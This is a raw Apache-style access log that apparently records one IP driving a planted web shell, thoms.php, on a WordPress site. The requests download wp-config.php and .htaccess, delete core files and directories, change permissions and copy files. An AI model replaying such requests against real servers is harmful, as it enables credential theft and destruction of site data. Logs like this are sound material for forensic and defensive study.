45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p= HTTP/1.1" 200 12154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?dl=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 17416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=wp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 17415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=xmlrpc.php HTTP/1.1" 200 13373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&settings=1 HTTP/1.1" 200 11883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12587 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 17416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /booking-wise2.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&upload= HTTP/1.1" 200 12157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 17308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "https://163.245.207.76/booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-cron.php HTTP/1.1" 200 14188 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12046 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=license.txt HTTP/1.1" 200 20072 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-settings.php HTTP/1.1" 200 19468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?chmod=web-common&p=booking-wise2.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=web-common&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?dl=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:56 -0400] "GET /thoms.php?del=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13034 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=wp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 17413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=thoms.php HTTP/1.1" 200 11822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 11499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p= HTTP/1.1" 200 12154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=.htaccess HTTP/1.1" 200 12727 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=data-unused&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-load.php HTTP/1.1" 200 13663 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=error_log HTTP/1.1" 200 14191 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12042 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?chmod=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 17414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?del=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13607 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 17406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?chmod=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?del=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-trackback.php HTTP/1.1" 200 14094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12161 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12161 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
